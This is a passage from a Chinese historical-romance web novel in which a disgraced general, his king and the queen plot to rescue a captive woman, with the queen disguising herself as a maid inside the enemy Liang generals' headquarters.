那天他同康居吃喝到好晚,到后来,康居跑到院中呕吐,倒地一醉不醒,他也醉得狠了。 这在从前不是没有过,以前两人喝醉后,康居就回屋室歇息,他在偏房留宿一夜,直到第二日晨间才离开。 院中没有一点声响,康居醉得死死的,达鲁鬼使神差地走到那扇房门前。 他的手贴在门框上,只需轻轻一推…… 这一刻,他心里陡生邪念。 那一晚很不真实,他不知自己最后是否进了那间屋室。 可他真真实实有了龌龊的想法,不久之后,康居战死,这一心结就成了心病,让他至今无法原谅自己,更没法面对阿枝。 积年累月之下,郁结生根,甚至到后来魔怔了似的,觉着那夜他推开了那扇房门,带着满身酒气趁黑走到榻边,入到帐里,她将他当成自己的夫,在潮热的醇香中两人缠绵了一回。 这个画面在他脑中生成,挥之不去,他最对不起的就是康居,若康居还活着,兴许他还不会这般自责愧疚,可康居**,以至于长久以来无法释怀。 在此之后,他彻底将自己的心思封藏,只是好好照顾阿枝,她若有了待嫁之人,他为她备嫁。 达鲁揉了揉发痛发胀的额,看着桌上空了的酒坛,又给自己沏了一杯清茶,仰头灌下去。 “鱼九……”达鲁朝外叫了一声,不见回音,吁出一口浊息,又叫了一声:“老鬼!” 仍是没有回音,这个时候才觉察不对,醉醺醺的脑子瞬间清醒,一手从腰间摸出**,缓缓站起,双眼紧紧盯着房门。 屋外有人! 就在他感知到时,房门开了,在门启的一瞬间,他没有丝毫迟疑,抄起桌上的酒坛对着门开处猛力砸去。 “砰——”的一声,酒坛在空中应声碎裂,连同坛中残酒散洒一地。 达鲁盯着眼前之人,是一个身着靛蓝交领劲装的高大男子,此人看着有些眼熟,像在哪里见过,一个转念,想起来了! 京都城,王庭亲卫,阿多图!他怎会在此?不及他多想,阿多图侧过身,往旁边一让,显露出身后之人。 达鲁见了那人,瞬间僵立在当场,满眼不敢置信,他以为自己喝多了出现幻觉,就地给自己抡一巴掌,这一声又清脆又响亮,再睁眼去看,那人仍在。 达鲁往后趔趄一步,靠在桌角撑住身体,稳了稳,一个阔步上前,单膝跪在那人面前。 “臣万死难辞其咎!深负王恩,百身莫赎……” 男人说着鼻音开始变重,声气梗塞,竟然跪在地上撑额痛哭起来,双肩止不住地颤抖,眼泪就那么一滴一滴地砸到地砖上。 一直以来积压的**和不甘在见到眼前之人后,再也压伏不住冲涌而出。 呼延吉上前一步,担起他的双臂,扶他起身。 “将军起身,现下当务之急是想办法将人救出来。” 达鲁心中无不感动,本以为大王来此,必要对他严惩,然而连一句斥责也没有,还在替他想办法救人,就是这一刻他认定下,后半生对谁效忠。 男人抹了一把脸上的泪水,很快调整过来,迎众人进屋坐下,随在呼延吉身边的阿丑给众人沏茶水。 达鲁走到房门边,正待闭上门扇,一眼就看见树下立着两眼晶亮的鱼九,脸上满是兴动的光,就连一向持重的老鬼也是激动地双手横握在胸前,踮足探脖地向屋里望着。 连达鲁也不得不承认,本是壅堵的心在见到他们这位君王后,突然有了倚仗一般,整个的放松下来。 好似有他在,便找到心中的稳石,有了可以托底的依傍,什么问题都可以解决。 “你们在外守好。”达鲁对鱼九和老鬼吩咐道。 两人齐声应诺。 房门掩上。 鱼九拿胳膊肘撞了撞旁边的老鬼,嬉笑道:“那是大王罢?” 老鬼一双眼也是带着不可置信的光动,喃喃道:“再找不出第二人有这般神武姿容。” 鱼九搓着手放低声音,挤眼挑眉道:“我刚才见大王身后跟着一披蓬之人,看那身形倒像女子,不知是何身份,会不会是那位梁妃?” 老鬼斜了鱼九一眼,屈起一指,敲在他额头上:“想什么,多半是婢女。” 两人说了几句,便不再言语,立于阶下,严守房门。 屋内,呼延吉坐于桌边,阿多图和丑奴立于左右,阿多图旁边还立着一人,正是先前离去的朵阿赤,此时,达鲁没心思去细想他为何在此。 达鲁并不敢坐,直到呼延吉叫他坐下,才落座。 他注意到,大王身侧坐了一披斗篷的女子,篷帽兜在头上,遮去了大半张面部,只在帽影下显出一个精致秀气的下巴颏,还有一绺黑发,梁人? 只是一瞥,达鲁不敢再看,移开眼,心中已有定数,虽只观得半掩的容姿,已料知女人的身份。 “现下是个什么情况?崔监军在何处,他怎么样了?”呼延吉问道。 达鲁先是将整个事情经过大致说了,然后再说眼下:“崔监军被关于官廨后的牢房,性命无虞,受了些伤。” 呼延吉听说崔致远无事,松了一口气。 “那位叫阿枝的姑娘关在何处?”呼延吉又问,知道达鲁为的就是此女子。 达鲁沉了一口气,摇头道:“全然不知,不过微臣猜测应当不在砂城官廨,想是藏在别处。” 也就是说,无人知晓人藏在何处,此时屋里安静下来,连空气都是静的,各自思索着。 一个轻柔的声音响起:“将军可有遣人进入官廨打探?” 达鲁侧向江念,眸光并不直视,说道:“梁军守备甚严,再者府里掌事者皆为梁人,只有低阶仆从为夷越人,很难打探到有用的消息。” 江念想了想,再次启口道:“也就是说,将军在对方府邸没有任何内应?” 达鲁应是。 “若想救出那位姑娘,需得安插内应才可,走不出这一步,救人难如登天。” 女人说话轻慢慢的,明明是极迫切之事,被她缓着 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达鲁亲自将呼延吉等人引入一方大院落,阿多图、丑奴自然同呼延吉一个院落,护他周全。 朵阿赤仍是回了客栈,顺便去城外传知昆善,叫他进城作安顿。 一切安排妥当后,达鲁又另交代院中仆从几句,这才退出院子。 呼延吉同江念住院中的上房,阿多图同丑奴住侧房。下人们开始往各个房中送热水和吃食。 上房以珠帘隔出里外两间,外间桌椅俱全,桌面铺着枣红色的锦布,靠墙的一面,一溜五张亮洁的黑木椅,椅上搭着银翠色的椅搭。 不一会儿,桌上摆好美馔,又有丫鬟在旁布菜,呼延吉同江念用**,沐过身,换了干净的软绸衣,下人退去,掩上房门。 直到这会儿,江念才算松软下来,一刻也不想让双足沾地,踢鞋上了床榻。 呼延吉出沐房,穿过珠帘,径入帐间,就见江念两手撑于身后,上身微微后仰,松散的衣领阔着,一侧滑落,只有另一边要掉不掉地挂在肩头。 女人肩头弯着新月,一头湿黑的乌发散乱垂下,旖旎于手边,兴是水温过热,香肌透粉,意态秀丽,两弯秋月眸,轻轻睨着入帐的年轻男子。 “你刚才怎么就恼了?” 呼延吉咽了咽喉,倾到她的上方,一手撑于她的身侧,她便整个都在他圈围的影下。 呼延吉不语,只是一味地低下眼,睨着女人华泽的肩头,伸出一指将那片险险挂于她肩头的衣领,往外一挑,那一层外衫滑落。 褪去外衫的江念,只着一件白绫小衣,衣缘上是膨然的隆起,很有曲度。 呼延吉舍不得移眼,他是知道她身体的妙处,还有情极之时的春浓幽秘,只是她这人在风月之事上,有些面薄。 他轻言软语哄过多少回,叫她也动一动,她却哼哼唧唧催他快些完事。 今日这般姣柔作态倒像有意勾着他…… 第160章 我真的喜欢阿姐 呼延吉的目光像是温热的指,带着触碰的力道,从她身上一寸一寸抚过。 在他的目光生温之后,江念趁势伸出一对凝如莹雪的圆润臂膀,环上他的脖。 “你刚才是不是恼了?” 呼延吉低低地“嗯”了一声:“我知道你打得什么主意。” 江念一个翻身,坐到他的怀里,呼延吉很自然地环上她的腰肢。 “我不信,还未开口呢,你就知道了?”江念盯着他的双眼,问道。 呼延吉亦回看向她,说道:“江念,我可比你亲弟还了解你,你眉毛抖一下,我就知道你是准备眨眼还是递暗号。” 江念噗嗤一声笑,仍是不信,说道:“又哄我,那你说说看,刚才我准备对达鲁将军说什么。” “不论你说什么,我只告诉你一样,不行!” 江念一噎,佯装道:“我看你根本不知道我准备说什么。” 呼延吉扬起一边嘴角,带了丝讥笑:“你先问官廨中有无夷越内应,又说救人需得安插内应,且只是第一步,我知道你心里肯定有法子了,只不过,这法子的第一步就是你准备亲自潜入官廨,是也不是?” 江念精神一抖,惊道,他真知道!是我肚子里的蛔虫不成? “在我们来之前,达鲁肯定想过其他办法,束手无策下只能任人要挟。”江念温热的掌心抚上呼延吉微凉的脸颊,认真说道,“我不是帮他,我只是想帮你,让我尽一份力,不好么?” 呼延吉怎会同意,他是不可能点头。 呼延吉了解江念,反过来,江念同样了解呼延吉,他经不住她的缠磨。 她双手搭在他结实的肩膀上,凑到他的耳边,落下一捻捻湿湿的亲吻,然后沿着他刚毅的下颌线,研濡上他颈脖的喉结。 呼延吉哪儿受得了她的主动,凸起的喉不自主地上下滚咽,环于她纤腰上的手渐渐缩紧。 眼里,耳里,鼻息下,全是她的影,她的声,她的香…… 之前两人情事时,都是呼延吉俯于上方,江念要么闭着眼,要么侧过头,或是背着脸,总之是羞的,也不叫他看清自己的模样。 今次她有求于他,纵使难为情,也忍了。 女人小巧的耳垂透红一片,连耳廓都是红的,嫣红一点点蔓延到颈脖,轻颤颤地说道:“吉儿,好不好?” 呼延吉心里直呼要命! 他根本不可能同意她以身犯险,可她这番意态幽情,简直没法。 “不许闭眼,看着我。”男人的腔音带了一丝强硬。 江念全身滚烫,热浪冲上眼眶,微微湿润起来:“那你应不应,没得这样白占便宜。” 呼延延气息不匀,有些想笑:“完事后,我们再说……” 江念急了,推开他的头,嘴角噙着笑:“你先说,同意还是不同意?” 呼延吉一对剔透的眸子这会儿不再清澈,好似这是头一回看清她的傲然,就那么在他眼下嚣张地随着呼吸起伏、勾引。 真真叫人又爱又恨…… 都到这个时候了,江念仍在讨要一个回复,呼延吉虽说极想极想,可也不兴拿她的安危开玩笑。 在这一点上,他不会退让分毫,可也明白她的苦心,所以他说完事再说,打算等会儿听一听她的谋划,再决定要不要她出面。 他将她放平于床榻,撑在她的上方,轻声低哄:“你别分心……” 她咬住唇,不愿发出任何声音。 可呼延吉今次发了狠,偏要听,就有些失了分寸,江念哪经得起这般,檀口轻启,娇声颤掉。 月色渐浓,染满纱窗,床帐轻晃。 不知折腾到几时,只觉着好久好久…… “吉儿,心疼些我罢,今夜就这样,好么?”江念央声道。 呼延吉算是餍足,低下身,连腔音里都是情。 “我真的好喜欢阿姐,以后我们都像今日这样,好不好?吉儿喜欢看阿姐这样。” 她也实在有些疲了,赶了这么长时间的路,原是想早些歇息的,现下为了让他尽兴,轻轻“嗯”了一声,至于以后如何,再说罢。 呼延吉开心得了不得,终于放过她,收了尾。 他替她理衣,见她汗湿腮边,鬓发湿黏在脸上,从枕边拿过一条帕子拭了拭她额间的细汗。 “什么法子,非得你进梁军官廨?” 江念从床上撑起身子,扯过小衣,重新穿上,再披上外衫,穿戴好才看向呼延吉,说道:“不是非我不可,只是别人进了那宅子也无用,就是我进去了,也不见得就有用,姑且试一试罢,成于不成,谁也说不准……” “那你打算怎么做,就你这副模样……我是真不放心,你还是别管……” 江念怕他又把话聊回去,赶紧附到他耳边叽咕了几句。 “这能行?” “行与不行,不试一试怎么知道,能成自然最好,若是不成……那也没办法。” 呼延吉想了想,追问道:“进去之后呢,你打算怎么做?” 江念瞥了呼延吉一眼,似是在思考接下来的话,要不要告诉他。 “你快说,磨蹭什么。”呼延吉催促道。 “你别催促,又不是不说。”江念似那贪玩蒙童,应付夫子考问,一问一答间稍有不慎,则难获朱批。 “进入梁军府邸只是第一步,然后再接近梁军的两位首领。” 江念此话一出,呼延吉当下一声冷嗤:“就这?你是戏文看多了,还接近梁军首领,轮不到你接近,你就被人吃干抹净。” 他简直是疯了,才会听她的戏言,接着又道:“再一个,就算接近张忠、程放二人又能怎样?难不成你指望从他们嘴里探消息?这二人可不傻,你别反把自己搭进去。” 呼延吉说罢,将手覆在江念的额上,咕哝道:“以后少看些杂记,脑子看坏了。” 江念“嗳”了一声,打掉他的手,这人的嘴怎么这样损。 “我都还没说完,你总打岔,忒烦人了。” “好,好,那你说,我听着。”呼延吉积极从她话里找破漏,然后否掉她的说法,打消她进梁军府邸的想法。 江念睨向呼延吉,嗔道:“那我说的时候,你可不准再打岔了。” 呼延吉点了点头。 江念看了他两眼,仍不放心,干脆凑到他身侧,摊开手掌,捂上他的嘴,不让他开口。 “接近张忠、程放并非要从他二人嘴里套话,那也太蠢了,根本不可行。”江念说罢看向呼延吉。 呼延吉嘴被捂着,也不发声了,只是眨了眨眼,他一安静,江念反觉着干巴巴的,不知如何往下讲,清了清嗓子,说道:“其实接近他二人另有目的。” 仍是安静没有回应,江念受不了自说自话,把手从呼延吉嘴上拿下,附到他耳边,低声说了几句。 呼延吉本是不在意的,然而在听罢后,深深看了她两眼,脸上的表情变得认真,敛目沉思了一会儿。 江念知道他上心了,也不再多说,掩嘴打了个哈欠:“困了,歇息罢。” 呼延吉见她困倦,拥她躺下,她在他怀里窝好,闭眼睡去。 次日,呼延吉用罢早饭,刚出院门,达鲁已带着两名手下在院外候着。 “去前厅。”呼延吉说罢往前行去。 达鲁等人随在身后,到了前厅,达鲁吩咐鱼九同老鬼在门外守望,自己同呼延吉进了敞厅。 呼延吉居上首坐下,抬了抬下巴,示意达鲁坐,然后把江念准备进入梁军府邸一事告诉了他。 达鲁一听,单膝跪下:“万万不可,不可叫贵人冒此风险。” 呼延吉说道:“念儿是我妻子,她向来有自己的主意,达鲁将军,不妨告诉你,我是极不情愿她以身犯险。” 达鲁抬起头,见君王往上抬了抬手,示意他起身。 达鲁震在原地,他自问,为救一个素未谋面之人,愿不愿让心爱之人冒险,答案是不愿意。 那位梁妃何等身份,为了救阿枝,甘愿进入梁军府邸。 他当然看出大王正为此事伤神,估计实在拗不过自己的妻子,不得不应下。 达鲁双手搁置膝上,垂着头,无颜面对君王,他都做了些什么!先是投敌,折了砂城,失了佩城,又被梁人拿捏,还得君王同王妃给他兜底,替他想办法。 呼延吉不是优柔寡断之人,既然已决定之事,接下来就是想办法把事情解决。 “她还未起身,待晚些时候,你见一见,看她怎么交代,照她说的做,但我有一个要求。” 达鲁端正面色,脸上一片诚然:“大王吩咐。” “能否进入梁军府邸先不说,若她真进去了,你找个借口同她一道住进那处官廨,万万替我把人护好了。” 达鲁不作丝毫犹豫,应下,随即好奇道:“那位贵人进入梁军府邸后,打算如何?” “接近张忠和程放。” 达鲁听罢,默了一会儿,第一反应觉着不可行,不是不可行,是绝对不可行。 “大王可知梁妃打算如何接近张忠二人?” 呼延吉想起昨夜江念告诉他的话,笑了笑:“用打张忠、程放二人脸的法子。” “什……什么?打脸的法子……” 第161章 红尘女儿情 达鲁不知这位王妃有何计策,如何接近张忠和程放二人。 “待她来,会告诉你的,你只需按她说的做。”呼延吉说道。 达鲁心里好奇,这位梁妃怎样扭转眼下局势,又怎样帮他找到阿枝,想要获知阿枝藏身之所,简直不可能,他们也许将她藏在城外,也许在城内,也许是阴仄的暗室,又或许是毫不起眼的民宅。 皆有可能…… …… 江念起晚了,脑子里闪过昨夜的画面。 一时间脸又燥热起来,暗暗告诉自己,再不可这般胡来,完全不像自己。 院子里的丫鬟听见屋里的动静,敲门,鱼贯而入,进来伺候贵客梳洗。 几名丫鬟双手执托,依次排开,只见托盘上放着颜色鲜丽,面料华贵的衣裳,还有贵重的首饰。 这要放平时,江念没有不喜欢的,定会叫丫鬟们把最好的、最贵的拣了来给她装扮上。 可眼下她的双眼不看向托盘上的金锦华服,而是看向列于她面前的丫鬟们,在她们身上来回打量。 “你们身上的这些衣裳拿一件来,还有绣鞋,还有……你们从头到脚的行头拿一套来。”江念说道。 丫鬟们不解其意,犹豫不定,江念笑道:“你们只管拿来,快去罢,莫要耽误了时候。” 其中一个丫鬟机灵地应了一声,转身去了,不一会儿就领了一套丫鬟的行头来。 “阿姑,衣裳鞋袜拿来了。”那丫鬟说道。 江念点点头,微笑道:“替我穿上罢。” 丫鬟们相互看一眼,不再迟疑,手脚利索地伺候江念穿衣,待衣裳穿上身,准备为其编织发辫。 “阿姑想要什么样式的发辫,是盘起来呢,还是垂下的?”丫鬟引江念坐到妆台前,问道。 江念对镜侧了侧脸,透过镜子看了一眼立于身后的丫鬟,说道:“就照你的发式来。” 那丫鬟先是呆了呆,看向镜中自己的发式,再普通不过的鬟辫。 前面的发以桂油梳光溜,全部拢到脑后,再分成大小两股,编织成辫,纽成大小两朵如花苞的髻儿,簪上两颗木珠。 这位貌美的阿姑要绾鬟髻?这…… “阿姑,婢子们怕家主责怪……” “你们只管照我说的做,不怕什么,有我在,你们家主不会责怪,届时说不定还会赏你们哩!”江念笑道。 几名丫鬟一听,吃吃笑起来,觉着这位梁国女子说话真有意思,也不再多言,抿着微笑的嘴儿开始给她编织丫鬟样式的发辫。 她们不知贵客的身份,但都对这位梁国女子感到好奇,伺候其穿衣、绾发时,不时往她脸上艳羡地瞟几眼。 待整装梳洗毕,江念在丫鬟们的簇拥下去了前厅。 …… 达鲁坐于交椅上,微侧着身子回答上首呼延吉的问话。 问了些边军的境况,又问他个人的情况,哪里人,年岁几何,不知怎的,大王这番问话倒叫他想起那位崔监军,那晚也是这样,天南海北地问着。 说话间,听见一串脚步声走来,达鲁下意识扭头看去,就见几名丫鬟碎步而来。 其他丫鬟立在大门外,只为首的丫鬟垂首走到他跟前,从桌上执起茶壶,给他空了半盏的茶杯续茶。 达鲁眉头一皱,斥道:“怎的不懂规矩,先给客人续茶。” 那丫鬟不作任何反应,仍是将他的茶盏续满,然后将茶壶轻轻放在桌上,恭声道:“将军的茶盏空了,那位贵客喜喝花茶,茶盏仍是满的,无须另续。” 达鲁一听这声音,慌得从座椅上起身,连连退了两步,因动作太过突然,把椅子带翻在地。 “贵人恕罪,先时没有认出。”达鲁躬身抱拳道。 江念亦退出一段距离,笑道:“是我之过,将军没有失礼,还请将军移目看我一眼。”说罢,见达鲁仍是抱拳躬身在那里,只好朝呼延吉睇了一个眼色。 呼延吉开口道:“将军坐罢,接下来要说正事了。” 达鲁这才缓缓抬起头,看向对面做丫鬟扮相的女子。 昨日,他并没有看全她的样貌,宽大篷帽下只显出秀气小巧的下颏,当时他的心里一个闪念,到底何等姿容的女子才能配上他们的君王。 而今一看,不笑时,美得不似真人儿,散着仙气儿似的,转盼间的风情又为她染上红尘女儿的情致,即使一身丫鬟装扮也掩不住袅娜韵致,同他们的大王很般配,这是他的第一印象。 只是他不知,这位贵人为何要做丫鬟扮相,一个转瞬,想到刚才大王提及之事,难道是…… “将军,大王叫你坐,你先坐下,咱们都坐下,在我没来之前大王已同你提过罢?”江念说着走到呼延吉身边坐下。 达鲁依言重新入座,摇头道:“王让微臣等梁妃来,详细告之。” 江念侧头看向呼延吉:“大王没告诉将军?” 呼延吉装傻充愣道:“我说什么,这不是你的计划么,我可什么都不管,也不会插手。” “那我来之前,大王同将军说了这半日的话,都说什么了。”江念眸光轻斜。 呼延吉闲闲说道:“我问大将军哪里人,平日喜欢吃什么,喝什么。” 达鲁怔愣地看着二人一呛一递,刚才在他面前大王明明一再嘱咐他千万要护好梁妃,这会儿却假装没事人一样。 大王虽然年岁轻,却一身英悍之气,还有迫人的凛凛天威,可……在梁妃面前怎么显得有些孩子气。 江念不同呼延吉争辩,她知道,直到现在他仍不愿她潜入梁军府邸。 “达鲁将军,我会装扮成你的婢女,你去梁军府邸时,将我带上。” 达鲁明白其意,想起大王的交代,说道:“不若微臣同进梁军府邸暂住,一来,贵人可顺理成章地随臣进入梁军官廨,二来,微臣可随时看护贵人的周全。” 江念料想这里定有呼延吉的意思,若达鲁能同进梁军官廨再好不过。 “微臣斗胆问一句,梁妃进入梁军府邸,是准备借机接近张忠、程放?从而得知阿枝的下落?” 江念摇了摇头:“非也,这样做太冒险,梁军将领必不是蠢笨之人,岂是我一‘女婢’可以兜转的,再者,想要套他们的话,需取得他二人十足的信任,非朝夕可办到。” 她心中已经有计较,只是不能急,得寻到恰当时机,才能施展。 达鲁更加疑惑,接近张忠、程放二人,却又不为探他们的口风。 “劳烦将军护我周全。”江念说道。 “微臣惶恐无地,此番事成与否皆当勠力王室,犬马余生,愿为大王前驱,披坚执锐,肝脑涂地。”达鲁起身朝上首的呼延吉和江念深深一拜。 呼延吉暗暗点头,他要的就是这些大将们的誓死忠心,达鲁只是一个开端,待东境事了,他得重整兵权,更张兵柄。 …… 梁军进驻砂城后,便将官廨作为他们的办事点,官廨后宅又有居人之所。 张忠、程放二人常常在前厅议事。 这日,天有些阴沉,乌云笼在天上,灰压压的一片,潮湿闷热,空气里的水分很足,叫人透不过气来。 两人摊开舆图,凑案观之,因光线太暗看不清明,厅里又不透气又不透光,便招来几个下人,把桌案往光线稍明的大门处腾挪。 待桌案摆放好,下人们又将铺团挪置好,他二人这才敛衣坐下,围案觑眼观图,预备攻打下一城池。 东境之战,他们兵微将寡,处于劣势,如今有了达鲁和他手下余部,恰似虎添双翼,进击东境诸城,破敌如探囊取物,十胜可期。 此次,梁国定要打个翻身仗,叫夷越王重新臣服于梁,给九夷八蛮以震慑。 两人正商讨着,下人传报,达鲁将军拜访。 “他怎么又来?这些时日跑得倒勤。”程放有些不耐烦,他的脾气比张忠躁动。 张忠端起茶盏不紧不慢地呷了一口,平声道:“他急了,想必不想助我二人攻城,又急于获知那女人的下落。”说罢,转头对下人吩咐:“将达鲁将军请进来。” 下人应声去了,不一会儿把人引了进来。 这男人身形高大,一进屋,把门前的光削去了大半,本就不明的光线,变得更暗淡。 “达鲁将军今日前来可有要事?”张忠笑问道。 达鲁双臂环胸,分腿而立,向下睨着张忠同程放,冷声道:“怎么,没事就不能来拜访二位?” “自然不是,将军来访,某等躬迎犹恐不及,何来不愿之理?”说着将人迎进敞厅,请入座,又叫下人上茶。 也是这个时候,二人才注意到达鲁身后还跟了一人,是个个头适中的女人,看其装扮就是随侍的丫鬟,垂首不语地跟在达鲁身后。 三人分坐下,张忠、程放并坐于右侧,达鲁坐他二人对面。 达鲁端起茶盏,揭开茶盖,慢慢拨弄着面上的浮沫,又轻轻吹了一吹。 张忠同程放互看一眼,也随手从案上端起茶盏,揭盖,慢慢刮着茶沫子。 整个厅堂只有瓷器清脆的磕碰声,本就安静的厅堂更加安静。 两人不知达鲁今日唱得哪一出,同平日有些两样,从前他每每来此,总是一副焦躁隐忍的模样,他的悔躁让他们很安心。 那名叫阿枝的女子就是他们羁縻达鲁的一根铁索,如同调教狗儿,叫他往东他绝不敢往西。 今次不知怎的,同之前不一样了,少了迫切的态度,显得随意从容,叫人有些难猜…… 第162章 驯化 达鲁放下茶盏,看向对面二人,开口道:“我刚才进来时见两位将军商讨攻打下一城池?” “不错,只是商议,还未有定论。”张忠说道。 “若是如此,还请二位将军替某在官廨中清一间屋室出来,某住在这里,往后同二位商议军情也方便。” 张忠先是一呆,笑道:“达鲁将军要同我等居于这官廨?” “不可?”达鲁反问道。 “你在砂城不是有宅邸?”一边的程放插话道。 达鲁呵笑一声,站起身,悠悠道:“看来是不欢迎了,那就不多打搅,日后二位再着人传告我,恕某迟缓,耽误了要事,千万莫要怪罪。” 说罢抬脚往外走去。 张忠看向程放,二人交换了一下眼神。 “达鲁将军留步!”张忠出声道。 达鲁已行到门首,顿了顿,转过身。 张忠阔步上前,笑道:“程将军性子直爽,就是随口问一嘴,并无他意,我现在就叫下人收拾一间房出来,将军居于此,日后商议军情也方便。” 达鲁颔首,随着下人去了官廨后宅,在他走后,张忠看向达鲁离去的方向,迟迟不收回眼。 “怎么了?”程放上前问道。 张忠沉眸思忖了一会儿,说道:“他身后的那个侍婢我怎么觉着有点不对。” “一个奴婢,你看着眼熟?”程放打趣道。 张忠笑了笑:“倒不是眼熟,就是有点不对,说不上来。” 那女子一直垂头缩肩,屋内光线又暗淡,他没看清,不过一个奴才,他也没刻意留意。 穿过三道拱门,再转过一长廊,下人将达鲁引到一方小院落。 “将军大人稍候,奴才叫婢子们把屋室重整一番。” 达鲁点了点头。 待那下人走后,达鲁偏过头,以余光扫了眼随在他身后的江念,然后收回眼,面上平平如砥,看不出任何情绪。 不一会儿,来了几个丫头进到屋里,手脚利索地清整屋室,待清整毕,依次序退出。 “将军,房间已清理好。” 达鲁“嗯”了一声,叫人退下。 待院中再无他人之时,达鲁才转身,面向身后的江念:“贵人住正房,微臣住侧间。” 江念抬起头,先是看了一眼周围,低声道:“将军不可再这么称呼,随意叫个名字罢,还有……你是主子,大房你住,我住旁边的下人房,不必在这些小事上计较。” 达鲁应是。 江念想了想说道:“我单名一个念字,将军唤我阿念?” 达鲁跟着叫了一声。 二人进到屋内,闭上房门,江念又问了一句:“来之前,我交代的那些,将军可还记得?” “不敢有忘。” 这是他们行事的关键。 两人又叙叙说了几句,江念躬身退出房门,带上房门时扬声道:“婢子就在下人房中,将军但有吩咐,尽管召唤婢子。”说着带上房门,转身进到一个极逼仄的下人房中。 次日一早,张忠、程放二人梳洗罢,走进前厅,下人开始摆放早饭。 “请达鲁将军来。”张忠向仆从吩咐。 下人应声去了。 程放冷哼一声:“张兄慈心,还邀这蛮子一同用早饭。” “他既住到这里,面上该过去的还得过去,何必把人冷落了,叫他心里记恨,总归还指望他替我们冲杀在前。” 张忠这般一说,程放不再言语,只是心里仍然不喜,他见不得夷越人,从上到下,从里到外,烦尽了这里,俱是些欠驯化的蛮子。 下人去了没一会儿,请了达鲁来。 达鲁一进堂间,张忠忙笑着将他让到桌边,正巧这时饭菜上齐。 三人先后坐下,各人的侍从开始布菜。 安静的厅堂间只有几不可闻的瓷响,然而“啪嚓——”一声碎响,打破了这份安静,众人抬眼看去,正是达鲁身后的侍婢,布菜时手上一个没拿稳,碗碟滑落到地面,碎成几瓣,连同碗碟中的菜也泥了一地。 张忠同程放只看了一眼,没做理会,不过一个冒失的婢子,不值他们费神。 那婢子“砰——”的一声双膝跪于地面,伏地讨饶:“婢子该死,婢子该死,婢子该死……” 女人的声音像秋风中挂在枝头颤颤巍巍的枯叶,轻忽颤抖,透着极度的惊惶。 也是这一异况,引起了张忠、程放二人的注意。 平日,下人犯错不是没有,只要不是大错,无非斥责几句也就完了,这婢子如何怕成这样。 二人正想着,就见达鲁起身,走到那婢子身前,一脚将那婢子踢翻,喝骂道:“没用的东西!这就是你们梁人的规矩?!” 此话一出,厅上所有梁人面色陡然一变。 尤其是张忠和程放,那脸的表情瞬间垮掉,不由得往地上看去,两眼大瞪,那婢子……怎么会是梁人!! 不待他们反应,达鲁上去又是一脚,继续喝骂:“连布菜这么件小事都做不好,要你有何用?!我看你这梁人就是讨打!一日不打皮就痒,二日不打,上房揭瓦,生来就是奴才命,成日不想着怎么当好奴才,怎的?你这梁人还想翻身当主子?” 只见那婢子重新爬起,跪好,掩着脸儿,呜咽出声,戚戚哀哀听着好不可怜。 程放性子火暴哪里能忍,腾地站起,倒不是他发善心可怜那女奴,这蛮子一口一个梁人,分明在指桑骂槐。 “达鲁将军,你当着咱们梁人的面,这样不好罢?”程放怒道。 达鲁先是一怔,接着抚额笑道:“失礼,失礼,竟然忘了这一茬,平日里责骂惯了。” 这句叫在场的梁人心里又是一塞。 “阿念,你看你们梁国的将军大人替你求情,还不起来。”达鲁说道。 众人就见那名叫阿念的女子瑟缩地站起身,无声地拿袖拭了拭泪,夹步走到达鲁身边。 因有了这一出,早饭之时,张忠、程放很自然地看向达鲁身后名叫阿念的婢女。 虽是微垂着颈儿,却也能观其大概面貌。 只见其穿着不合身的下人衣裳,梳着夷越婢子的发辫,一身衣衫有些肥大,且染着脏污,可见平时过得并不体面。 模样看着很周正,只是半边脸上好大一块红痕,不知是胎记还是后天来的,生生把一张端丽的脸给毁了。 半张脸被红痕覆着,再精致的五官,也算不上好看了。 张忠笑问道:“达鲁将军,这梁婢怎的从没见你带出来过?” 达鲁重新入座,笑了一声,说道:“带她?带一个梁国女婢?”男人说着往张忠、程放二人的脸上望了望,继续道,“张将军莫不是开玩笑,我夷越同你大梁结怨深,带一个梁国女婢,会遭人耻笑的。” 程放气得两眼睁瞪,挑声道:“那怎的这会儿又带出来现眼?” 这蛮子分明是故意的。 达鲁先是瞥了一眼身边的梁国女婢,又抬眼看向对面的张忠和程放,嗤笑一声,意味深长地说道:“在这里……不嫌丢人……” 张忠、程放二人听出他话里的意思,无非是说他们跟这女奴是同类。 这话骂得一个脏字不带,叫他们都不知该如何回嘴。 用罢饭,达鲁起身向张忠、程放拱手道:“二位慢用,某先回屋。”说罢,从容离席,带着仆从走了。 张忠、程放二人亦起身,目送人离开。 待人走后,程放将筷子往桌上“啪——”的一拍:“你听他刚才说的话,那是什么意思?” 张忠一贯看起来好脾性的人,这会儿面色也沉得厉害,刚才一直隐忍不发而已。 程放又道:“他哪是骂奴才,分明是在骂你我二人。” “上次我看那婢子,就觉着有异,现下想来,因是身形体格像咱们梁人,只是当时缩头缩脑的,也没看清。”张忠说道。 程放根本不关心一个奴才,只是气恨达鲁借责骂梁婢指骂他们,哼声道:“这是打我梁人的脸,你说他到底几个意思?突然住进官廨,又这样目中无人。” 张忠舀了舀碗里的白粥,静了一会儿,说道:“他突然住进来,无非是想从你我二人嘴里套话,打探那女人的下落,无论如何,在他面前千万管住嘴,不可透露半分。” 程放脾气虽然火爆,却不傻,点了点头:“晓得,张兄放心,我心里有数。” 接下来的时日,官廨众人常能见到梁国女婢被责骂,夜里还能听到其唉声哭泣。 这日一早,仍是三人围坐桌边用早饭,本是安安静静的各自吃着,只见达鲁从那名叫阿念的女婢手里接过一碗鲜蔬汤,舀了一勺往嘴边送去。 汤勺才碰上唇,男人猛地把手一放,当下面色一沉,连汤带碗往女婢身上一泼,幸好那女婢反应快,往后退了一步,滚烫的汤汁没浇到身上。 达鲁一拍桌案:“贱婢,你想烫死我?!” 说着站起身,从腰间抽出马鞭,凌空一甩,“啪——”的甩出一声响,那架势俨然要当众惩戒女婢。 厅中众人个个为女婢捏一把汗,这位蛮将身格如此健硕,那女子如何抵得住一顿鞭笞…… 第163章 成败在此一举 正在众人忧心之际,那可怜的女婢走到两位梁军将领身边,泣声道:“二位将军大人,吃这一顿鞭,奴命休矣。” 程放听这女婢声音倒是极好听,若不看脸,也有些想头,加上女人的柔泣之声,竟生出几分不忍来,鬼使神差地站起身,说道:“达鲁将军,大早上的,不易见血,一个低贱的奴儿,也值得你大动肝火。” 达鲁冷嗤一声:“想不到,程将军平日看着挺粗放一人,倒很会怜香惜玉。” “你……”程放面色涨红,说他对一个样貌丑陋的低贱女婢怜香惜玉,这无疑是在嘲讽。 